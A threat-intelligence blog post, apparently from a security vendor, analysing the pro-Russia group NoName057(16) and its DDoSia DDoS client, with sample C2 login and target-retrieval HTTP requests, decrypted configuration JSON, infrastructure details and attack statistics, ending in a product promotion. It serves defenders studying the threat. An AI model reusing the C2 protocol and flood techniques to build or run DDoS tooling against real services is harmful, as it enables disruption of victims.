How NoName057(16) Uses DDoSia to Attack NATO Targets

By Picus Labs

Published: 2025-12-15 · Archived: 2026-04-02 12:47:48 UTC

Who Is NoName057(16)?

NoName057(16), also known as 05716nnm, Nnm05716, NoName057 and NoName05716, is a pro-Russia hacktivist entity assessed to have originated as a covert project within the Centre for the Study and Network Monitoring of the Youth Environment (CISM), operating on behalf of the Kremlin. Evidence indicates that CISM leadership and staff provided the group with extensive support, developing its proprietary DDoS tool known as **DDoSia**, supplying the underlying infrastructure, administering its Telegram channels, and directing target selection.

Active since March 2022, the group primarily conducts distributed denial-of-service attacks against government and private-sector organizations in NATO member states and other European countries viewed as adversarial to Russian geopolitical goals. Its operations rely heavily on Telegram for coordination and dissemination, while hosting tools and tactics on platforms such as GitHub to mobilize followers.

By 2024, NoName057(16) expanded its reach through close collaboration with other pro-Russia hacktivist groups, most notably the Cyber Army of Russia Reborn (CARR). This partnership produced a joint chat by mid-year and culminated in shared claims of an intrusion targeting operational-technology assets in the United States. Their increasing operational overlap eventually contributed to the formation of **Z-Pentest** in September 2024, a hybrid group consisting of administrators and operators from both communities. Z-Pentest has continued to reference NoName057(16) in its own campaigns, signalling sustained influence.

The group is also referenced by regional designators such as "NoName057(16) Spain," "NoName057(16) Italy," and "NoName057(16) France" [1].

In July 2025, NoName057(16) became the focus of Operation Eastwood, a coordinated international law enforcement effort conducted from July 14 to July 17. Authorities made two arrests, one in France and one in Spain. Seven arrest warrants were issued, six by Germany and one by Spain. In addition, 24 house searches took place across Czechia, France, Germany, Italy, Poland, and Spain. Following the operation, the group’s official Telegram channel dismissed the actions, encouraged followers to reject what it called misinformation from foreign services, and reaffirmed its ongoing commitment to information operations in support of Russia [2].

What is DDoSia?

Emerging shortly after the onset of the conflict in Ukraine, NoName057(16) operates as a digitally partisan entity aligned with Russian strategic interests. The group's primary offensive capability, the DDoSia Project, is the successor to the earlier "Bobik" botnet. The project relies on volunteers who are recruited via Telegram, provided with the necessary toolkit, and incentivized through cryptocurrency rewards.

The DDoSia client is developed in **Go** and is designed for ease of use, allowing individuals with minimal technical expertise to participate in attacks.

Technical Analysis: The DDoSia Kill Chain

The operational flow of the DDoSia client involves a two-stage communication process with the Command and Control (C2) server to retrieve target configurations [2].

Stage 1: Client Login and Authentication

Communication is initiated by the client sending an HTTP POST request to the C2 server's /client/login endpoint. This step is used to register the client instance and validate its authenticity.

A critical component is the Cookie header, which transmits the User Hash (U) and the Client ID (C). The body of the request contains encrypted system information, including the OS, kernel version, and CPU details.

```
POST /client/login HTTP/1.1
Host: 38.180.143[.]83
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]/9.28.7586
Content-Length: 515
Accept: text/html,application/xhtml+xml,application/xml,
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Cookie: U=<REDACTED>; C=<REDACTED>

{"body": "Eo+B/j5dX0s7QoVL+74DQxkUqE460PLgskFIPfAKzr4DHK6hpoYbe74kkXJLub90SKfSt
AlmrXv47570ygFXvR89IYbjay9rzxdpNBMWEaQYag7SE6z4Ge3iqnMvN3rGRvrUI50cqcbl0Jzbav7
Kmzvt3k0H+eYgwjOI8OnG3Fuuhp+xOkPjakOmJkLrJJOTompsrIsiK7dbtFG08xp8R04S+YnCqCgRu
fYpHmQLJ0IpNy4+MKyfpzDL0bv46SSqcLZuFZdZHzaUdRjHCAglbdGNYDMeO8FU93xWbh6k/3KPk8u
5pXgSHNvLc11Ly+EddgeWjJr8qZDRr/N/HL3bhLLNqBFKKOj04aWnbg7FdspSbyF70ReIAEr2utUc7
eKAPbc6eXa2g5YcsclgdCJlofc0SvNZ7wiXdnkI11XRTAvaX/drsLvjAJmJ58YF2H471mVvaBIjGmV
2N8iglErdoHRegy7F0F1x5b6SHbcLQ5KL836olsl/722a"}
```

The payload is encrypted using AES-GCM, with a key dynamically generated from the User Hash and Client ID. Upon decryption, the JSON structure reveals the detailed system fingerprint of the volunteer's machine.

```
{
   "key": "<REDACTED>",
   "user": "<REDACTED>",
   "client": "<REDACTED>",
   "inf": {
      "SystemUserName": "DESKTOP-QOG2741",
      "OS": "windows",
```

```
        "KernelVersion": "10.0.19041.2965 Build 19041.2965",
        "KernelArch": "x86_64",
        "PlatformFamily": "Standalone Workstation",
        "CPUCores": 8,
        "RegisterTime": "2025-07-10T14:22:18.134954+01:00",
        "Timezone": "CEST"
    }
}
```


Successful authentication is acknowledged by the C2 server with a 200 OK response containing a UNIX timestamp.

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 14 Jun 2024 15:18:17 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 19
Connection: keep-alive

1718378297196554765
```

Stage 2: Target Acquisition

Following registration, the client initiates the second stage to retrieve the attack configuration via a GET request to /client/get_targets.

```
GET /client/get_targets HTTP/1.1
Host: 38[.180[.]143[.]83
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
Accept: text/html,application/xhtml+xml,application/xml,
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Cookie: U=<REDACTED>; C=<REDACTED>; K=NUYZ627M42<REDACTED>DMA6NLJ4YAM======
```

The C2 server responds with an encrypted JSON object containing the target list, utilizing the same AES-GCM encryption method established during the login phase.


```
{"data":"aCeegN8A+CvFX11L17b8dZpk67zwVZtTMR8R0ZhDrn3rNpFTq55dyjJ2pw8etiyLlW3SI
r8c3XVcmBpjzNXdHZYyqi8SVByLp4clIi+7gGT84...<REDACTED>.../rblN+dJq8037tw9y7Htnapy
887JRLFP0ao83w1YYed3jvjwFWWCu0vMvTjjKzuxXPDFb8KXWUMJw=="}
```


Decryption of this payload reveals two primary keys: targets and randoms. The targets array specifies the victim host, port, and attack protocol (e.g., http2), while randoms defines parameters for generating variable data to append to requests, a technique likely employed to bypass caching and simple filtering mechanisms.

```
{
   "targets": [
      {
         "target_id": "64865791f747b0b90020d960",
         "request_id": "64865791f747b0b90020d961",
         "host": "<REDACTED>",
         "ip": "<REDACTED>",
         "type": "http2",
         "method": "GET",
         "port": 443,
         "use_ssl": true,
         "path": "",
         "body": {
            "type": "str",
            "value": ""
         },
         "headers": null
      }
   ],
   "randoms": [
      {
         "name": "\u0422\u0435\u043b\u0435\u0444\u043e\u043d",
         "id": "62d8286fddcbb37b0c77c87f",
         "digit": true,
         "upper": false,
         "lower": false,
         "min": 11,
         "max": 11
      }
   ]
}
```


Infrastructure and Operational Security

A resilient, multi-tiered infrastructure is employed to protect the backend servers from discovery and mitigation [2].

- Tier 1 (C2 Servers): These are public-facing servers that communicate directly with DDoSia clients on Port 80. They act as ephemeral proxies, with an average lifespan of approximately nine days, though many are rotated daily.
- Tier 2 (Backend Servers): These servers host the core logic and target lists. Access is strictly controlled via Access Control Lists (ACLs), which only permit connections from known Tier 1 servers.

This configuration ensures that even if Tier 1 nodes are identified and blocked, the core infrastructure remains secure and operational.

Operational Tempo and Targeting

Analysis of activity between July 2024 and July 2025 reveals a high operational tempo, with an average of 50 unique targets attacked daily. Activity patterns strongly correlate with a standard Russian work schedule. New targets are consistently added in two daily waves: a primary surge between 05:00 and 07:00 UTC and a secondary wave around 11:00 UTC.

Sectoral and Geographic Focus

Targeting is heavily concentrated on European nations opposing Russia's invasion of Ukraine. Geographically, Ukraine accounts for the largest share of attacks at 29.47%, followed by France at 6.09%, Italy at 5.39%, Sweden at 5.29%, and Germany at 4.60%.

In terms of industry distribution, the Government and public sectors are the primary targets, comprising 41.09% of incidents. This is followed by transportation and logistics at 12.44% and telecommunications at 10.19% [2].

Attack Techniques

A combination of volumetric and resource-exhaustion attacks is utilized to disrupt services. The most common methods include TCP Floods, specifically SYN floods at 17.6% and ACK floods at 16.1%, as well as Application Layer Attacks such as HTTP GET floods at 15.4%. Slow Loris variants, identified as **nginx_loris**, account for 31.5% of the activity and operate by exhausting server connection slots through partial HTTP requests sent at a slow rate.

Additionally, Port 443 (HTTPS) and Port 80 (HTTP) account for the vast majority of attack traffic at 66%, reflecting a distinct focus on web-facing services [2].

How Picus Simulates NoName057(16) Attacks?

We also strongly suggest simulating NoName057(16) Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for NoName057(16):

Threat ID	Threat Name	Attack Module
32591	DDOSIA DDoS Malware Email Threat	Network Infiltration

51123	DDOSIA DDoS Malware Download Threat	Network Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

Key Takeaways

- NoName057(16) originated as a covert project within the Kremlin-backed CISM, targeting NATO and European entities since March 2022.
- The group relies on the DDoSia project, a crowdsourced botnet that rewards volunteers with cryptocurrency for launching attacks using simple, Go-based tools.
- Technical operations involve a two-stage kill chain where clients authenticate and retrieve encrypted target lists from Command and Control servers via AES-GCM.
- A multi-tier architecture uses ephemeral public proxies to shield backend servers from direct detection and mitigation.
- Partnerships with the Cyber Army of Russia Reborn led to the formation of the hybrid group Z-Pentest in 2024, expanding operations to US operational technology targets.
- Attacks predominantly focus on government sectors in Ukraine, France, and Italy, with activity surges aligning with standard Russian work schedules.
- Operation Eastwood executed international arrests and searches against the group in July 2025, though the entity remains active and defiant.

References

[1] Accessed: Dec. 12, 2025. [Online]. Available: https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks.pdf

[2] N. ’s D. Infrastructure, “Anatomy of DDoSia:” Accessed: Dec. 12, 2025. [Online]. Available: https://assets.recordedfuture.com/insikt-report-pdfs/2025/cta-2025-0722.pdf

---